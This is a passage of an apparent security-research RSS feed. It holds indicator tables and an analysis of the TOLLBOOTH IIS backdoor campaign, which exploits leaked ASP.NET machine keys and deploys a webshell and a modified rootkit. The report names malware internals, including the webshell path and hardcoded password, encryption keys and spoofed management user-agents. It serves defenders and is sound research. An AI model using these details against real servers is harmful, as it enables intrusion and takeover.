<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1014/">Rootkit</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid Accounts</a></li>
</ul>
<h2>Observations</h2>
<p>The following <a href="https://github.com/elastic/labs-releases/tree/main/indicators/tollbooth">observables</a> were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc</code></td>
<td>SHA-256</td>
<td><code>WingtbCLI.exe</code></td>
<td>HIDDENCLI</td>
</tr>
<tr>
<td><code>f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1</code></td>
<td>SHA-256</td>
<td><code>Winkbj.sys</code></td>
<td>HIDDENDRIVER</td>
</tr>
<tr>
<td><code>c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c348996e27fc14e3dce8a2a476d22e52c6b97bf24dd9ed165890caf88154edd2</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>bd2de6ca6c561cec1c1c525e7853f6f73bf6f2406198cd104ecb2ad00859f7d3</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>915441b7d7ddb7d885ecfe75b11eed512079b49875fc288cd65b023ce1e05964</code></td>
<td>SHA-256</td>
<td><code>CustomIISModule.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c[.]cseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH config server</td>
</tr>
<tr>
<td><code>f[.]fseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH SEO farming config server</td>
</tr>
<tr>
<td><code>api[.]aseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH crawler reporting &amp; page redirector API</td>
</tr>
<tr>
<td><code>mlxya[.]oss-accelerate.aliyuncs[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker payload hosting server</td>
</tr>
<tr>
<td><code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp.run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>bae5a7722814948fbba197e9b0f8ec5a6fe8328c7078c3adcca0022a533a84fe</code></td>
<td>SHA-256</td>
<td><code>1.aspx</code></td>
<td>Godzilla-forked webshell (Similar sample from VirusTotal)</td>
</tr>
<tr>
<td><code>230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9</code></td>
<td>SHA-256</td>
<td><code>GotoHTTP.exe</code></td>
<td>GotoHTTP</td>
</tr>
<tr>
<td><code>Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</code></td>
<td>User-Agent</td>
<td></td>
<td>User-Agent observed during exploitation via IIS ViewState injection</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/</a></li>
<li><a href="https://asec.ahnlab.com/en/87804/">https://asec.ahnlab.com/en/87804/</a></li>
<li><a href="https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/">https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/</a></li>
<li><a href="https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters">https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters</a></li>
<li><a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">https://github.com/ekkoo-z/Z-Godzilla_ekp</a></li>
<li><a href="https://x.com/AzakaSekai_/status/1969294757978652947">https://x.com/AzakaSekai_/status/1969294757978652947</a></li>
</ul>
<h2>Addendum</h2>
<p>HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:</p>
<ul>
<li><a href="https://x.com/securechicken/status/1980715257791193420">https://x.com/securechicken/status/1980715257791193420</a></li>
<li><a href="https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/">https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/tollbooth.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[TOLLBOOTH: What's yours, IIS mine]]></title>
            <link>https://www.elastic.co/fr/security-labs/tollbooth</link>
            <guid>tollbooth</guid>
            <pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[REF3927 abuses publicly disclosed ASP.NET machine keys to compromise IIS servers and deploy TOLLBOOTH SEO cloaking modules globally.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In September 2025, <a href="https://www.cyber.tamus.edu/">Texas A&amp;M University System (TAMUS) Cybersecurity</a>, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell <a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">framework</a>, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.</p>
<p>A similar chain of events was first <a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">reported</a> by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also <a href="https://asec.ahnlab.com/en/87804/">detailed</a> in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&amp;M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with <a href="https://www.validin.com/">Validin</a>, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.</p>
<h3>Key takeaways</h3>
<ul>
<li>Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys</li>
<li>Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware</li>
<li>Threat actors adapted the open source “Hidden” rootkit project to hide their presence</li>
<li>The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities</li>
<li>This campaign included large-scale exploitation across geographies and industry verticals</li>
</ul>
<h2>Campaign Overview</h2>
<h3>Attack vector</h3>
<p>Last month, Elastic Security Labs and Texas A&amp;M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, <code>ValidationKey</code> and <code>DecryptionKey</code>, which are used to secure ASP.NET features such as <code>ViewState</code> and authentication cookies.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image16.png" alt="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" title="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" /></p>
<p><code>ViewState</code> is a mechanism used by <a href="ASP.NET">ASP.NET</a> web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, <code>ViewState</code> allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (<code>__VIEWSTATE</code>) on the page that is serialized and encoded in Base64. This <code>ViewState</code> field is susceptible to <a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">deserialization attacks</a>, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.</p>
<p>Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload <a href="https://github.com/pwntester/ysoserial.net">generator</a>. The <code>__VIEWSTATE</code> field contains a URL-encoded and Base64-encoded payload that will perform a <code>whoami</code> and write a file to a directory. With a successful exploitation request, the server will respond with an <code>HTTP/1.1 500 Internal Server Error</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image14.png" alt="Packet capture showing an example of a successful deserialization attack" title="Packet capture showing an example of a successful deserialization attack" /></p>
<h3>Post-compromise activity</h3>
<p>Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image6.png" alt="Elastic Defend alerting showing hands-on post-compromise activity" title="Elastic Defend alerting showing hands-on post-compromise activity" /></p>
<p>With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image13.png" alt="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" title="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" /></p>
<h2>Godzilla EKP analysis</h2>
<p>One of the main tools used by this group is a Godzilla-forked framework called <code>Z-Godzilla_ekp</code> written by <a href="https://github.com/ekkoo-z">ekkoo-z</a>. This tool piggybacks off the previous Godzilla <a href="https://github.com/BeichenDream/Godzilla">project</a> by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:</p>
<ul>
<li>Discovery/enumeration capabilities</li>
<li>Privilege escalation techniques</li>
<li>Command execution/file execution</li>
<li>Shellcode loader, meterpreter, in-memory PE execution</li>
<li>File management, zipping utility</li>
<li>Cred stealing plugin (<code>lemon</code>) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials</li>
<li>Browser password scraping</li>
<li>Port scanning, HTTP proxy configuration, note-taking</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image10.png" alt="Command execution plugin from Z-Godzilla_ekp" title="Command execution plugin from Z-Godzilla_ekp" /></p>
<p>Below is a network traffic example showing the operator traffic to the webshell (<code>error.aspx</code>) using <code>Z-Godzilla_ekp</code>. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image3.png" alt="Example of POST request using Z-Godzilla_ekp" title="Example of POST request using Z-Godzilla_ekp" /></p>
<h2>Rootkit analysis</h2>
<p>The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit <code>HIDDENDRIVER</code> and the userland application <code>HIDDENCLI</code>.</p>
<p>This malicious software is a modified version of the open source rootkit <a href="https://github.com/JKornev/hidden">Hidden</a>, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image1.png" alt="Rookit’s string showing the compilation path" title="Rookit’s string showing the compilation path" /></p>
<p>Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:</p>
<ul>
<li><code>InitializeConfigs</code></li>
<li><code>InitializeKernelAnalyzer</code></li>
<li><code>InitializePsMonitor</code></li>
<li><code>InitializeFSMiniFilter</code></li>
<li><code>InitializeRegistryFilter</code></li>
<li><code>InitializeDevice</code></li>
<li><code>InitializeStealthMode</code></li>
</ul>
<p>To prepare its internal components before populating its driver object and associated fields, such as major functions.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image7.png" alt="Malicious rootkit initialization function" title="Malicious rootkit initialization function" /></p>
<p>The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.</p>
<h3>InitializeConfigs</h3>
<p>The rootkit's initial action is to run the <code>InitializeConfigs</code> function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.</p>
<p>The following table summarizes the configuration parameters that the rootkit extracts from the registry:</p>
<table>
<thead>
<tr>
<th>Registry name</th>
<th>Description</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Kbj_WinkbjFsDirs</code></td>
<td>A list of directory paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjFsFiles</code></td>
<td>A list of file paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegKeys</code></td>
<td>A list of registry keys to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegValues</code></td>
<td>A list of registry values to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_FangxingImages</code></td>
<td>A list of process images to whitelist</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_BaohuImages</code></td>
<td>A list of process images to protect</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjImages</code></td>
<td>A list of process images to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_Zhuangtai</code></td>
<td>A global kill switch that is set from userland</td>
<td>bool</td>
</tr>
<tr>
<td><code>Kbj_YinshenMode</code></td>
<td>This flag signals that the rootkit must conceal its artifacts.</td>
<td>bool</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image9.png" alt="Rootkit retrieves values from its configuration stored in the registry" title="Rootkit retrieves values from its configuration stored in the registry" /></p>
<h3>InitializeKernelAnalyzer</h3>
<p>Its purpose is to dynamically scan the kernel memory to find the addresses of the <code>PspCidTable</code> and <code>ActiveProcessLinks</code> that are needed.</p>
<p>The <a href="http://uninformed.org/index.cgi?v=3&amp;a=7&amp;p=6"><code>PspCidTable</code></a> is the kernel's structure that serves as a table for process and thread IDs, while <a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland"><code>ActiveProcessLinks</code></a> under the <code>_EPROCESS</code> structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a>.</p>
<h4>LookForPspCidTable</h4>
<p>It searches for the <code>PspCidTable</code> address by disassembling the function <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-pslookupprocessbyprocessid"><code>PsLookupProcessByProcessId</code></a>with the library <a href="https://github.com/zyantific/zydis">Zydis</a> and parsing it.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image15.png" alt="Original hidden code: PspCidTable lookup" title="Original hidden code: PspCidTable lookup" /></p>
<h4>LookForActiveProcessLinks</h4>
<p>This function determines the offset of the <code>ActiveProcessLinks</code> field within the <code>_EPROCESS</code> structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the <code>ActiveProcessLinks</code> field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.</p>
<h3>InitializePsMonitor</h3>
<p><code>InitializePsMonitor</code> sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.</p>
<p>It first initializes three <a href="https://medium.com/@ys.yogendra22/avl-tree-self-balancing-binary-search-tree-20188ff58b05">AVL tree structures</a> to hold information (rules) for excluding, protecting, and hiding processes. It uses <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-rtlinitializegenerictableavl"><code>RtlInitializeGenericTableAvl</code></a> for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.</p>
<h4>Registering object manager callback with (ObRegisterCallbacks)</h4>
<p>This hook registers the <code>ProcessPreCallback</code> and <code>ThreadPreCallback</code> functions. The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-object-manager">kernel's Object Manager</a> executes this code before it completes any request to create or duplicate a handle to a process or thread.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image30.png" alt="Rootkit registering process and thread precallbacks" title="Rootkit registering process and thread precallbacks" /></p>
<p>When a process tries to get a handle on another process, the callback function <code>ProcessPreCallback</code> is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to <code>SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION</code>.</p>
<p>This will ensure that processes cannot interact with/inspect, or kill the protected process.</p>
<p>The same mechanism applies to threads.</p>
<h4>Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)</h4>
<p>The rootkit registers a callback with the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex"><code>PsSetCreateProcessNotifyRoutineEx</code></a> API on process creation. When a new process is launched, this callback runs a function <code>CheckProcessFlags</code> that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its <code>excluded</code>, <code>protected</code>, and <code>hidden</code> flags accordingly.</p>
<p>Behavior based on flags:</p>
<ul>
<li><strong>Excluded</strong>
<ul>
<li>The rootkit will ignore the process and just let it run as expected.</li>
</ul>
</li>
<li><strong>Protected</strong>
<ul>
<li>The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in <code>ProcessPreCallback</code>.</li>
</ul>
</li>
<li><strong>Hidden</strong>
<ul>
<li>The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a <code>postponeHiding</code> flag that will be explained below.</li>
</ul>
</li>
</ul>
<h4>The Image Load callback (PsSetLoadImageNotifyRoutine)</h4>
<p>This registers the <code>LoadProcessImageNotifyCallback</code> using <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine"><code>PsSetLoadImageNotifyRoutine</code></a>, which the kernel calls whenever an executable image (a <code>.exe</code> or <code>.dll</code>) is loaded into a process's memory.</p>
<p>When the image is loaded, the callback checks the <code>postponeHiding</code> flag; if set, it calls <code>UnlinkProcessFromCidTable</code> to remove it from the master process ID table (<code>PspCidTable</code>).</p>
<h3>InitializeFSMiniFilter</h3>
<p>The function defines its capabilities in the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/ns-fltkernel-_flt_registration"><code>FilterRegistration structure(FLT_REGISTRATION)</code></a>. This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-create"><code>IRP_MJ_CREATE</code></a>: Intercepts any attempt to open or create a file or directory.</li>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-directory-control"><code>IRP_MJ_DIRECTORY_CONTROL</code></a>: Intercepts any attempt to list the contents of a directory.</li>
</ul>
<h4>FltCreatePreOperation(IRP_MJ_CREATE)</h4>
<p>This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to <code>STATUS_NO_SUCH_FILE</code>, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.</p>
<h4>FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)</h4>
<p>This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.</p>
<h3>InitializeRegistryFilter</h3>
<p>After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The <code>InitializeRegistryFilter</code> function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.</p>
<p>It registers a callback using the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-cmregistercallbackex"><code>CmRegisterCallbackEx</code></a> API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status <code>STATUS_NOT_FOUND</code>.</p>
<h3>InitializeDevice</h3>
<p>The <code>InitializeDevice</code> function does the driver initialization needed, and it sets up an <a href="https://learn.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-"><code>IOCTL communication</code></a> so that the userland application can communicate with it directly</p>
<p>The following is a table describing each IOCTL command handled by the driver.</p>
<table>
<thead>
<tr>
<th>IOCTL command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>HID_IOCTL_SET_DRIVER_STATE</code></td>
<td>Soft enable/disable the rootkit functionalities by setting a global state flag that acts as a master on/off switch.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_DRIVER_STATE</code></td>
<td>Retrieve the current state of the rootkit (enabled/disabled).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_HIDDEN_OBJECT</code></td>
<td>Adds a new rule to hide a specific file, directory, registry key, or value.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_HIDDEN_OBJECT</code></td>
<td>Removes a single hiding rule by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_HIDDEN_OBJECTS</code></td>
<td>Remove all hidden objects for a specific object type(registry keys/values, files, directories).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_OBJECT</code></td>
<td>Adds a new rule to automatically hide, protect, or exclude a process based on its image path.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_OBJECT_STATE</code></td>
<td>Queries the current state (hidden, protected, or excluded) of a specific running process by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_SET_OBJECT_STATE</code></td>
<td>This command modifies the state (hidden, protected, or excluded) of a specific running process, identified by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_OBJECT</code></td>
<td>Removes a single process rule (hide, protect, or exclude) by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_OBJECTS</code></td>
<td>This command clears all process states and image rules of a specific type.</td>
</tr>
</tbody>
</table>
<h3>InitializeStealthMode</h3>
<p>After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: <code>InitializeStealthMode</code>. If the configuration flag <code>Kbj_YinshenMode</code> is enabled, it will hide every artifact associated with the rootkit, including registry keys, the <code>.sys</code> file, and other related components, using the same techniques described above.</p>
<h3>Code Variations</h3>
<p>While the malware is heavily based on the <code>HIDDENDRIVER</code> source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.</p>
<p>The original code in the <code>IsProcessExcluded</code> function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image20.png" alt="Difference between “Hidden” and the rootkit function IsProcessExcluded" title="Difference between “Hidden” and the rootkit function IsProcessExcluded" /></p>
<p>The original code's callback for filtering system information (including files, directories, and registries) used the <code>IsDriverEnabled</code> function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image28.png" alt="“Hidden” source code: FltDirCtrlPostOperation callback" title="“Hidden” source code: FltDirCtrlPostOperation callback" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image11.png" alt="“Hidden” source code: PsGetProcessImageFileName usage" title="“Hidden” source code: PsGetProcessImageFileName usage" /></p>
<h2>RMM usage</h2>
<p>The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (<code>80</code>/<code>443</code>) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image25.png" alt="gotohttp[.]com landing page" title="gotohttp[.]com landing page" /></p>
<p>RMMs continue to <a href="https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice">increase in popularity</a> for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.</p>
<p>Blocking the <a href="https://github.com/magicsword-io/LOLRMM/tree/main/detections/sigma">mass of currently active RMMs</a> and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.</p>
<h2>IIS module analysis</h2>
<p>The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by <a href="https://asec.ahnlab.com/en/87804/">Ahnlab</a> and the security researcher, <a href="https://x.com/AzakaSekai_/status/1969294757978652947">@Azaka</a>. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.</p>
<h3>Malware Config Structure</h3>
<p>TOLLBOOTH retrieves its configuration dynamically from <code>hxxps://c[.]cseo99[.]com/config/&lt;victim_HTTP_host_value&gt;.json,</code> and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, <code>hxxps://c[.]cseo99[.]com/config/127.0.0.1.json</code> responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this <a href="https://gist.github.com/jiayuchann/b785e1f3960fa26923d821b7e93e2e94">GitHub Gist</a>, and we will reference how some of the fields are used as appropriate.</p>
<p>For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code>. For the managed module, these are AES-encrypted with key <code>YourSecretKey123</code> and IV <code>0123456789ABCDEF</code>, Gzip-compressed, and stored at <code>C:\\Windows\\Temp\\AcpLogs\\</code>.</p>
<h3>Webshell</h3>
<p>TOLLBOOTH exposes a webshell at the <code>/mywebdll</code> path, requiring a password of <code>hack123456!</code> for file uploads and execution of commands. Form submission sends a <code>POST</code> request to the <code>/scjg</code> endpoint.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image17.png" alt="Webshell interface" title="Webshell interface" /></p>
<p>The password is hardcoded in the binary, and this webshell feature is present in both <code>v1.6.0</code> and <code>v1.6.1</code> of the native version of TOLLBOOTH.</p>
<p>The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of <code>multipart/form-data</code> fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the <code>multipart/form-data</code> parts, a successful file upload can still be triggered.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tollbooth/image12.png" alt="File upload PoC" title="File upload PoC" /></p>
<h3>Management Channel</h3>
<p>TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):</p>
<pre><code class="language-text">Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
